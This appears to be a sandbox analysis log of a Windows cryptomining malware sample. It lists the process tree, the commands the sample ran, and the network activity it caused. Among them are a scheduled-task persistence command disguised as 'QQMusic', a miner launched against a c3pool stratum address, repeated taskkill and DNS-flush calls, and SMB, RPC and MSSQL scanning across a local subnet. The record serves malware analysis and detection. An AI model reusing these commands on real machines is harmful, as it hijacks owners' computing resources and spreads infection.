PID 4820 wrote to memory of 6524 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe
PID 6484 wrote to memory of 6584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 6484 wrote to memory of 6584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 6484 wrote to memory of 6584 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\taskkill.exe
PID 4820 wrote to memory of 6676 N/A C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe C:\ProgramData\syabcd.exe

Processes

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

"C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4252,i,7012731823941922179,12386606396608877869,262144 --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:8

C:\Windows\SysWOW64\cmd.exe

cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe /F

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe /F

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\ProgramData\SMB.exe

C:\ProgramData\SMB.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c ipconfig /flushdns

C:\Windows\SysWOW64\ipconfig.exe

ipconfig /flushdns

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im syabcd.exe

C:\ProgramData\syabcd.exe

C:\ProgramData\syabcd.exe -o stratum+tcp://auto.c3pool.org:19999 -u SN -p 1 --max-cpu-usage=50 --cpu-priority 3 --cpu-max-threads-hint=50 -K

C:\Windows\SysWOW64\cmd.exe

cmd /c taskkill /f /im syabcd.exe&&exit

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 nishabii.xyz udp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.1:445 tcp
N/A 10.127.0.8:445 tcp
N/A 10.127.0.9:445 tcp
N/A 10.127.0.0:445 tcp
N/A 10.127.0.2:445 tcp
N/A 10.127.0.3:445 tcp
N/A 10.127.0.4:445 tcp
N/A 10.127.0.5:445 tcp
N/A 10.127.0.6:445 tcp
N/A 10.127.0.7:445 tcp
N/A 10.127.0.10:445 tcp
N/A 10.127.0.11:445 tcp
N/A 10.127.0.12:445 tcp
N/A 10.127.0.13:445 tcp
N/A 10.127.0.14:445 tcp
N/A 10.127.0.15:445 tcp
N/A 10.127.0.16:445 tcp
N/A 10.127.0.17:445 tcp
N/A 10.127.0.18:445 tcp
N/A 10.127.0.19:445 tcp
N/A 10.127.0.20:445 tcp
N/A 10.127.0.21:445 tcp
N/A 10.127.0.22:445 tcp
N/A 10.127.0.23:445 tcp
N/A 10.127.0.24:445 tcp
N/A 10.127.0.25:445 tcp
N/A 10.127.0.26:445 tcp
N/A 10.127.0.27:445 tcp
N/A 10.127.0.28:445 tcp
N/A 10.127.0.29:445 tcp
N/A 10.127.0.30:445 tcp
US 8.8.8.8:53 auto.c3pool.org udp
N/A 10.127.0.31:445 tcp
N/A 10.127.0.32:445 tcp
N/A 10.127.0.33:445 tcp
N/A 10.127.0.34:445 tcp
N/A 10.127.0.35:445 tcp
N/A 10.127.0.36:445 tcp
N/A 10.127.0.37:445 tcp
N/A 10.127.0.38:445 tcp
N/A 10.127.0.39:445 tcp
N/A 10.127.0.40:445 tcp
N/A 10.127.0.41:445 tcp
N/A 10.127.0.42:445 tcp
N/A 10.127.0.45:445 tcp
N/A 10.127.0.43:445 tcp
N/A 10.127.0.61:445 tcp
N/A 10.127.0.51:445 tcp
N/A 10.127.0.62:445 tcp
N/A 10.127.0.54:445 tcp
N/A 10.127.0.44:445 tcp
N/A 10.127.0.69:445 tcp
N/A 10.127.0.53:445 tcp
N/A 10.127.0.64:445 tcp
N/A 10.127.0.66:445 tcp
N/A 10.127.0.52:445 tcp
N/A 10.127.0.57:445 tcp
N/A 10.127.0.47:445 tcp
N/A 10.127.0.49:445 tcp
N/A 10.127.0.58:445 tcp
N/A 10.127.0.71:445 tcp
N/A 10.127.0.67:445 tcp
N/A 10.127.0.81:445 tcp
N/A 10.127.0.73:445 tcp
N/A 10.127.0.50:445 tcp
N/A 10.127.0.63:445 tcp
N/A 10.127.0.85:445 tcp
N/A 10.127.0.59:445 tcp
N/A 10.127.0.88:445 tcp
N/A 10.127.0.48:445 tcp
N/A 10.127.0.76:445 tcp
N/A 10.127.0.46:445 tcp
N/A 10.127.0.80:445 tcp
N/A 10.127.0.70:445 tcp
N/A 10.127.0.56:445 tcp
N/A 10.127.0.60:445 tcp
N/A 10.127.0.92:445 tcp
N/A 10.127.0.68:445 tcp
N/A 10.127.0.86:445 tcp
N/A 10.127.0.84:445 tcp
N/A 10.127.0.82:445 tcp
N/A 10.127.0.91:445 tcp
N/A 10.127.0.104:445 tcp
N/A 10.127.0.55:445 tcp
N/A 10.127.0.95:445 tcp
N/A 10.127.0.93:445 tcp
N/A 10.127.0.72:445 tcp
N/A 10.127.0.75:445 tcp
N/A 10.127.0.83:445 tcp
N/A 10.127.0.65:445 tcp
N/A 10.127.0.77:445 tcp
N/A 10.127.0.78:445 tcp
N/A 10.127.0.74:445 tcp
N/A 10.127.0.79:445 tcp
N/A 10.127.0.87:445 tcp
N/A 10.127.0.89:445 tcp
N/A 10.127.0.90:445 tcp
N/A 10.127.0.94:445 tcp
N/A 10.127.0.96:445 tcp
N/A 10.127.0.97:445 tcp
N/A 10.127.0.98:445 tcp
N/A 10.127.0.99:445 tcp
N/A 10.127.0.100:445 tcp
N/A 10.127.0.101:445 tcp
N/A 10.127.0.102:445 tcp
N/A 10.127.0.103:445 tcp
N/A 10.127.0.105:445 tcp
N/A 10.127.0.106:445 tcp
N/A 10.127.0.107:445 tcp
N/A 10.127.0.108:445 tcp
N/A 10.127.0.108:19490 tcp
N/A 10.127.0.108:135 tcp
N/A 10.127.0.108:19490 tcp
N/A 10.127.0.108:1433 tcp
N/A 10.127.0.109:445 tcp
N/A 10.127.0.110:445 tcp
N/A 10.127.0.111:445 tcp
N/A 10.127.0.112:445 tcp
N/A 10.127.0.113:445 tcp
N/A 10.127.0.114:445 tcp
N/A 10.127.0.115:445 tcp
N/A 10.127.0.116:445 tcp
N/A 10.127.0.117:445 tcp
N/A 10.127.0.118:445 tcp
N/A 10.127.0.119:445 tcp
N/A 10.127.0.120:445 tcp
N/A 10.127.0.121:445 tcp
N/A 10.127.0.122:445 tcp
N/A 10.127.0.123:445 tcp
N/A 10.127.0.124:445 tcp
N/A 10.127.0.125:445 tcp
N/A 10.127.0.126:445 tcp
N/A 10.127.0.127:445 tcp
N/A 10.127.0.128:445 tcp
N/A 10.127.0.129:445 tcp
N/A 10.127.0.130:445 tcp
N/A 10.127.0.131:445 tcp
N/A 10.127.0.132:445 tcp
N/A 10.127.0.133:445 tcp
N/A 10.127.0.134:445 tcp
N/A 10.127.0.135:445 tcp
N/A 10.127.0.136:445 tcp
N/A 10.127.0.137:445 tcp
N/A 10.127.0.138:445 tcp
N/A 10.127.0.139:445 tcp
N/A 10.127.0.140:445 tcp
N/A 10.127.0.141:445 tcp
N/A 10.127.0.142:445 tcp
N/A 10.127.0.143:445 tcp
N/A 10.127.0.144:445 tcp
N/A 10.127.0.145:445 tcp
N/A 10.127.0.146:445 tcp
N/A 10.127.0.147:445 tcp
N/A 10.127.0.148:445 tcp
N/A 10.127.0.149:445 tcp
N/A 10.127.0.150:445 tcp
N/A 10.127.0.151:445 tcp
N/A 10.127.0.152:445 tcp
N/A 10.127.0.153:445 tcp
N/A 10.127.0.154:445 tcp
N/A 10.127.0.155:445 tcp
N/A 10.127.0.156:445 tcp
N/A 10.127.0.0:135 tcp
N/A 10.127.0.157:445 tcp
N/A 10.127.0.158:445 tcp
N/A 10.127.0.159:445 tcp
N/A 10.127.0.160:445 tcp
N/A 10.127.0.1:135 tcp
N/A 10.127.0.161:445 tcp
N/A 10.127.0.162:445 tcp
N/A 10.127.0.2:135 tcp
N/A 10.127.0.3:135 tcp
N/A 10.127.0.163:445 tcp
N/A 10.127.0.4:135 tcp
N/A 10.127.0.164:445 tcp
N/A 10.127.0.5:135 tcp
N/A 10.127.0.6:135 tcp
N/A 10.127.0.7:135 tcp
N/A 10.127.0.8:135 tcp
N/A 10.127.0.9:135 tcp
N/A 10.127.0.10:135 tcp
N/A 10.127.0.11:135 tcp
N/A 10.127.0.12:135 tcp
N/A 10.127.0.13:135 tcp
N/A 10.127.0.15:135 tcp
N/A 10.127.0.14:135 tcp
N/A 10.127.0.167:445 tcp
N/A 10.127.0.16:135 tcp
N/A 10.127.0.17:135 tcp
N/A 10.127.0.178:445 tcp
N/A 10.127.0.18:135 tcp
N/A 10.127.0.19:135 tcp
N/A 10.127.0.20:135 tcp
N/A 10.127.0.165:445 tcp
N/A 10.127.0.183:445 tcp
N/A 10.127.0.181:445 tcp
N/A 10.127.0.180:445 tcp
N/A 10.127.0.174:445 tcp
N/A 10.127.0.176:445 tcp
N/A 10.127.0.172:445 tcp
N/A 10.127.0.173:445 tcp
N/A 10.127.0.21:135 tcp
N/A 10.127.0.22:135 tcp
N/A 10.127.0.168:445 tcp
N/A 10.127.0.23:135 tcp
N/A 10.127.0.192:445 tcp
N/A 10.127.0.24:135 tcp
N/A 10.127.0.177:445 tcp
N/A 10.127.0.185:445 tcp
N/A 10.127.0.170:445 tcp
N/A 10.127.0.184:445 tcp
N/A 10.127.0.199:445 tcp
N/A 10.127.0.204:445 tcp
N/A 10.127.0.166:445 tcp
N/A 10.127.0.182:445 tcp
N/A 10.127.0.169:445 tcp
N/A 10.127.0.197:445 tcp
N/A 10.127.0.201:445 tcp
N/A 10.127.0.175:445 tcp
N/A 10.127.0.212:445 tcp
N/A 10.127.0.171:445 tcp
N/A 10.127.0.25:135 tcp
N/A 10.127.0.186:445 tcp
N/A 10.127.0.191:445 tcp
N/A 10.127.0.26:135 tcp
N/A 10.127.0.189:445 tcp
N/A 10.127.0.205:445 tcp
N/A 10.127.0.27:135 tcp
N/A 10.127.0.28:135 tcp
N/A 10.127.0.190:445 tcp
N/A 10.127.0.198:445 tcp
N/A 10.127.0.29:135 tcp
N/A 10.127.0.219:445 tcp
N/A 10.127.0.30:135 tcp
N/A 10.127.0.209:445 tcp
N/A 10.127.0.31:135 tcp
N/A 10.127.0.188:445 tcp
N/A 10.127.0.32:135 tcp
N/A 10.127.0.211:445 tcp
N/A 10.127.0.218:445 tcp
N/A 10.127.0.33:135 tcp
N/A 10.127.0.207:445 tcp
N/A 10.127.0.210:445 tcp
N/A 10.127.0.34:135 tcp
N/A 10.127.0.179:445 tcp
N/A 10.127.0.200:445 tcp
N/A 10.127.0.35:135 tcp
N/A 10.127.0.208:445 tcp
N/A 10.127.0.36:135 tcp
N/A 10.127.0.37:135 tcp
N/A 10.127.0.206:445 tcp
N/A 10.127.0.38:135 tcp
N/A 10.127.0.39:135 tcp
N/A 10.127.0.40:135 tcp
N/A 10.127.0.195:445 tcp
N/A 10.127.0.221:445 tcp
N/A 10.127.0.187:445 tcp
N/A 10.127.0.41:135 tcp
N/A 10.127.0.42:135 tcp
N/A 10.127.0.193:445 tcp
N/A 10.127.0.43:135 tcp
N/A 10.127.0.45:135 tcp
N/A 10.127.0.44:135 tcp
N/A 10.127.0.226:445 tcp
N/A 10.127.0.46:135 tcp
N/A 10.127.0.214:445 tcp
N/A 10.127.0.224:445 tcp
N/A 10.127.0.236:445 tcp
N/A 10.127.0.47:135 tcp
N/A 10.127.0.225:445 tcp
N/A 10.127.0.48:135 tcp
N/A 10.127.0.216:445 tcp
N/A 10.127.0.49:135 tcp
N/A 10.127.0.194:445 tcp
N/A 10.127.0.50:135 tcp
N/A 10.127.0.51:135 tcp
N/A 10.127.0.196:445 tcp
N/A 10.127.0.202:445 tcp
N/A 10.127.0.203:445 tcp
N/A 10.127.0.213:445 tcp
N/A 10.127.0.215:445 tcp
N/A 10.127.0.217:445 tcp
N/A 10.127.0.220:445 tcp
N/A 10.127.0.222:445 tcp
N/A 10.127.0.223:445 tcp
N/A 10.127.0.227:445 tcp
N/A 10.127.0.228:445 tcp
N/A 10.127.0.229:445 tcp
N/A 10.127.0.230:445 tcp
N/A 10.127.0.231:445 tcp
N/A 10.127.0.232:445 tcp
N/A 10.127.0.233:445 tcp
N/A 10.127.0.234:445 tcp
N/A 10.127.0.235:445 tcp
N/A 10.127.0.237:445 tcp
N/A 10.127.0.238:445 tcp
N/A 10.127.0.239:445 tcp
N/A 10.127.0.240:445 tcp
N/A 10.127.0.241:445 tcp
N/A 10.127.0.242:445 tcp
N/A 10.127.0.243:445 tcp
N/A 10.127.0.244:445 tcp
N/A 10.127.0.52:135 tcp
N/A 10.127.0.245:445 tcp
N/A 10.127.0.53:135 tcp
N/A 10.127.0.54:135 tcp
N/A 10.127.0.246:445 tcp
N/A 10.127.0.247:445 tcp
N/A 10.127.0.55:135 tcp
N/A 10.127.0.248:445 tcp
N/A 10.127.0.56:135 tcp
N/A 10.127.0.249:445 tcp
N/A 10.127.0.57:135 tcp
N/A 10.127.0.250:445 tcp
N/A 10.127.0.59:135 tcp
N/A 10.127.0.58:135 tcp
N/A 10.127.0.251:445 tcp
N/A 10.127.0.60:135 tcp
N/A 10.127.0.252:445 tcp
N/A 10.127.0.253:445 tcp
N/A 10.127.0.61:135 tcp
N/A 10.127.0.254:445 tcp
N/A 10.127.0.62:135 tcp
N/A 10.127.0.63:135 tcp
N/A 10.127.0.64:135 tcp
N/A 10.127.0.65:135 tcp
N/A 10.127.0.66:135 tcp
N/A 10.127.0.67:135 tcp
N/A 10.127.0.68:135 tcp
N/A 10.127.0.69:135 tcp
N/A 10.127.0.70:135 tcp
N/A 10.127.0.71:135 tcp
N/A 10.127.0.73:135 tcp
N/A 10.127.0.72:135 tcp
N/A 10.127.0.75:135 tcp
N/A 10.127.0.74:135 tcp
N/A 10.127.0.76:135 tcp
N/A 10.127.0.77:135 tcp
N/A 10.127.0.78:135 tcp
N/A 10.127.0.79:135 tcp
N/A 10.127.0.81:135 tcp
N/A 10.127.0.80:135 tcp
N/A 10.127.0.82:135 tcp
US 8.8.8.8:53 nishabii.xyz udp
N/A 10.127.0.83:135 tcp
N/A 10.127.0.84:135 tcp
N/A 10.127.0.85:135 tcp
N/A 10.127.0.86:135 tcp
N/A 10.127.0.87:135 tcp
N/A 10.127.0.88:135 tcp
N/A 10.127.0.89:135 tcp
N/A 10.127.0.90:135 tcp
N/A 10.127.0.91:135 tcp
N/A 10.127.0.92:135 tcp
N/A 10.127.0.93:135 tcp
N/A 10.127.0.94:135 tcp
N/A 10.127.0.96:135 tcp
N/A 10.127.0.95:135 tcp
N/A 10.127.0.97:135 tcp
N/A 10.127.0.98:135 tcp
N/A 10.127.0.99:135 tcp
N/A 10.127.0.100:135 tcp
N/A 10.127.0.101:135 tcp
N/A 10.127.0.102:135 tcp
N/A 10.127.0.103:135 tcp
N/A 10.127.0.104:135 tcp
N/A 10.127.0.105:135 tcp
N/A 10.127.0.106:135 tcp
N/A 10.127.0.107:135 tcp
N/A 10.127.0.109:135 tcp
N/A 10.127.0.110:135 tcp
N/A 10.127.0.111:135 tcp
N/A 10.127.0.112:135 tcp
N/A 10.127.0.113:135 tcp
N/A 10.127.0.114:135 tcp
N/A 10.127.0.115:135 tcp
N/A 10.127.0.116:135 tcp
N/A 10.127.0.117:135 tcp
N/A 10.127.0.119:135 tcp
N/A 10.127.0.118:135 tcp
N/A 10.127.0.120:135 tcp
N/A 10.127.0.121:135 tcp
N/A 10.127.0.122:135 tcp
N/A 10.127.0.123:135 tcp
N/A 10.127.0.124:135 tcp
N/A 10.127.0.125:135 tcp
N/A 10.127.0.126:135 tcp
N/A 10.127.0.127:135 tcp
N/A 10.127.0.128:135 tcp
N/A 10.127.0.129:135 tcp
N/A 10.127.0.130:135 tcp
N/A 10.127.0.131:135 tcp
N/A 10.127.0.132:135 tcp
N/A 10.127.0.133:135 tcp
N/A 10.127.0.134:135 tcp
N/A 10.127.0.135:135 tcp
N/A 10.127.0.136:135 tcp
N/A 10.127.0.137:135 tcp
N/A 10.127.0.138:135 tcp
N/A 10.127.0.139:135 tcp
N/A 10.127.0.140:135 tcp
N/A 10.127.0.141:135 tcp
N/A 10.127.0.142:135 tcp
N/A 10.127.0.143:135 tcp
N/A 10.127.0.144:135 tcp
N/A 10.127.0.145:135 tcp
N/A 10.127.0.146:135 tcp
N/A 10.127.0.147:135 tcp
N/A 10.127.0.148:135 tcp
N/A 10.127.0.149:135 tcp
N/A 10.127.0.150:135 tcp
N/A 10.127.0.151:135 tcp
N/A 10.127.0.152:135 tcp
N/A 10.127.0.153:135 tcp
N/A 10.127.0.154:135 tcp
N/A 10.127.0.155:135 tcp
N/A 10.127.0.156:135 tcp
N/A 10.127.0.157:135 tcp
N/A 10.127.0.0:1433 tcp
N/A 10.127.0.158:135 tcp
N/A 10.127.0.159:135 tcp
N/A 10.127.0.160:135 tcp
N/A 10.127.0.161:135 tcp
N/A 10.127.0.1:1433 tcp
N/A 10.127.0.163:135 tcp
N/A 10.127.0.162:135 tcp
N/A 10.127.0.3:1433 tcp
N/A 10.127.0.2:1433 tcp
N/A 10.127.0.164:135 tcp
N/A 10.127.0.4:1433 tcp
N/A 10.127.0.165:135 tcp
N/A 10.127.0.5:1433 tcp
N/A 10.127.0.166:135 tcp
N/A 10.127.0.167:135 tcp
N/A 10.127.0.7:1433 tcp
N/A 10.127.0.6:1433 tcp
N/A 10.127.0.168:135 tcp
N/A 10.127.0.169:135 tcp
N/A 10.127.0.8:1433 tcp
N/A 10.127.0.170:135 tcp
N/A 10.127.0.10:1433 tcp
N/A 10.127.0.9:1433 tcp
N/A 10.127.0.171:135 tcp
N/A 10.127.0.172:135 tcp
N/A 10.127.0.11:1433 tcp
N/A 10.127.0.173:135 tcp
N/A 10.127.0.174:135 tcp
N/A 10.127.0.13:1433 tcp
N/A 10.127.0.12:1433 tcp
N/A 10.127.0.175:135 tcp
N/A 10.127.0.14:1433 tcp
N/A 10.127.0.15:1433 tcp
N/A 10.127.0.176:135 tcp
N/A 10.127.0.16:1433 tcp
N/A 10.127.0.177:135 tcp
N/A 10.127.0.178:135 tcp
N/A 10.127.0.179:135 tcp
N/A 10.127.0.17:1433 tcp
N/A 10.127.0.180:135 tcp
N/A 10.127.0.181:135 tcp
N/A 10.127.0.19:1433 tcp
N/A 10.127.0.18:1433 tcp
N/A 10.127.0.182:135 tcp
N/A 10.127.0.108:21 tcp
N/A 10.127.0.183:135 tcp
N/A 10.127.0.184:135 tcp
N/A 10.127.0.20:1433 tcp
N/A 10.127.0.185:135 tcp
N/A 10.127.0.186:135 tcp
N/A 10.127.0.187:135 tcp
N/A 10.127.0.188:135 tcp
N/A 10.127.0.189:135 tcp
N/A 10.127.0.190:135 tcp
N/A 10.127.0.191:135 tcp
N/A 10.127.0.192:135 tcp
N/A 10.127.0.193:135 tcp
N/A 10.127.0.21:1433 tcp
N/A 10.127.0.194:135 tcp
N/A 10.127.0.22:1433 tcp
N/A 10.127.0.195:135 tcp
N/A 10.127.0.196:135 tcp
N/A 10.127.0.23:1433 tcp
N/A 10.127.0.197:135 tcp
N/A 10.127.0.198:135 tcp
N/A 10.127.0.199:135 tcp
N/A 10.127.0.24:1433 tcp
N/A 10.127.0.200:135 tcp
N/A 10.127.0.201:135 tcp
N/A 10.127.0.202:135 tcp
N/A 10.127.0.203:135 tcp
N/A 10.127.0.204:135 tcp
N/A 10.127.0.205:135 tcp
N/A 10.127.0.206:135 tcp
N/A 10.127.0.207:135 tcp
N/A 10.127.0.208:135 tcp
N/A 10.127.0.209:135 tcp
N/A 10.127.0.210:135 tcp
N/A 10.127.0.211:135 tcp
N/A 10.127.0.212:135 tcp
N/A 10.127.0.213:135 tcp
N/A 10.127.0.214:135 tcp
N/A 10.127.0.25:1433 tcp
N/A 10.127.0.215:135 tcp
N/A 10.127.0.216:135 tcp
N/A 10.127.0.26:1433 tcp
N/A 10.127.0.217:135 tcp
N/A 10.127.0.218:135 tcp
N/A 10.127.0.27:1433 tcp
N/A 10.127.0.219:135 tcp
N/A 10.127.0.28:1433 tcp
N/A 10.127.0.220:135 tcp
N/A 10.127.0.221:135 tcp
N/A 10.127.0.29:1433 tcp
N/A 10.127.0.222:135 tcp
N/A 10.127.0.223:135 tcp
N/A 10.127.0.31:1433 tcp
N/A 10.127.0.30:1433 tcp
N/A 10.127.0.224:135 tcp
N/A 10.127.0.32:1433 tcp
N/A 10.127.0.225:135 tcp
N/A 10.127.0.33:1433 tcp
N/A 10.127.0.226:135 tcp
N/A 10.127.0.227:135 tcp
N/A 10.127.0.35:1433 tcp
N/A 10.127.0.34:1433 tcp
N/A 10.127.0.228:135 tcp
N/A 10.127.0.36:1433 tcp
N/A 10.127.0.229:135 tcp
N/A 10.127.0.37:1433 tcp
N/A 10.127.0.230:135 tcp
N/A 10.127.0.231:135 tcp
N/A 10.127.0.38:1433 tcp
N/A 10.127.0.39:1433 tcp
N/A 10.127.0.232:135 tcp
N/A 10.127.0.233:135 tcp
N/A 10.127.0.40:1433 tcp
N/A 10.127.0.234:135 tcp
N/A 10.127.0.41:1433 tcp
N/A 10.127.0.235:135 tcp
N/A 10.127.0.42:1433 tcp
N/A 10.127.0.236:135 tcp
N/A 10.127.0.43:1433 tcp
N/A 10.127.0.237:135 tcp
N/A 10.127.0.44:1433 tcp
N/A 10.127.0.45:1433 tcp
N/A 10.127.0.238:135 tcp
N/A 10.127.0.239:135 tcp
N/A 10.127.0.46:1433 tcp
N/A 10.127.0.240:135 tcp
N/A 10.127.0.47:1433 tcp
N/A 10.127.0.241:135 tcp
N/A 10.127.0.48:1433 tcp
N/A 10.127.0.242:135 tcp
N/A 10.127.0.49:1433 tcp
N/A 10.127.0.243:135 tcp
N/A 10.127.0.244:135 tcp
N/A 10.127.0.51:1433 tcp
N/A 10.127.0.50:1433 tcp
N/A 10.127.0.245:135 tcp
N/A 10.127.0.52:1433 tcp
N/A 10.127.0.246:135 tcp
N/A 10.127.0.54:1433 tcp
N/A 10.127.0.53:1433 tcp
N/A 10.127.0.247:135 tcp
N/A 10.127.0.248:135 tcp
N/A 10.127.0.249:135 tcp
N/A 10.127.0.56:1433 tcp
N/A 10.127.0.55:1433 tcp
N/A 10.127.0.250:135 tcp
N/A 10.127.0.57:1433 tcp
N/A 10.127.0.251:135 tcp
N/A 10.127.0.252:135 tcp
N/A 10.127.0.60:1433 tcp
N/A 10.127.0.59:1433 tcp
N/A 10.127.0.58:1433 tcp
N/A 10.127.0.253:135 tcp
N/A 10.127.0.254:135 tcp
N/A 10.127.0.61:1433 tcp
N/A 10.127.0.62:1433 tcp
N/A 10.127.0.63:1433 tcp
N/A 10.127.0.64:1433 tcp
N/A 10.127.0.65:1433 tcp
N/A 10.127.0.66:1433 tcp
N/A 10.127.0.67:1433 tcp
N/A 10.127.0.68:1433 tcp
N/A 10.127.0.69:1433 tcp
N/A 10.127.0.70:1433 tcp
N/A 10.127.0.71:1433 tcp
N/A 10.127.0.72:1433 tcp
N/A 10.127.0.73:1433 tcp
N/A 10.127.0.74:1433 tcp
N/A 10.127.0.75:1433 tcp
N/A 10.127.0.76:1433 tcp
N/A 10.127.0.77:1433 tcp
N/A 10.127.0.78:1433 tcp
N/A 10.127.0.79:1433 tcp
N/A 10.127.0.82:1433 tcp
N/A 10.127.0.80:1433 tcp
N/A 10.127.0.81:1433 tcp
N/A 10.127.0.83:1433 tcp
N/A 10.127.0.84:1433 tcp
N/A 10.127.0.85:1433 tcp
N/A 10.127.0.86:1433 tcp
N/A 10.127.0.87:1433 tcp
N/A 10.127.0.88:1433 tcp
N/A 10.127.0.89:1433 tcp
N/A 10.127.0.90:1433 tcp
N/A 10.127.0.91:1433 tcp
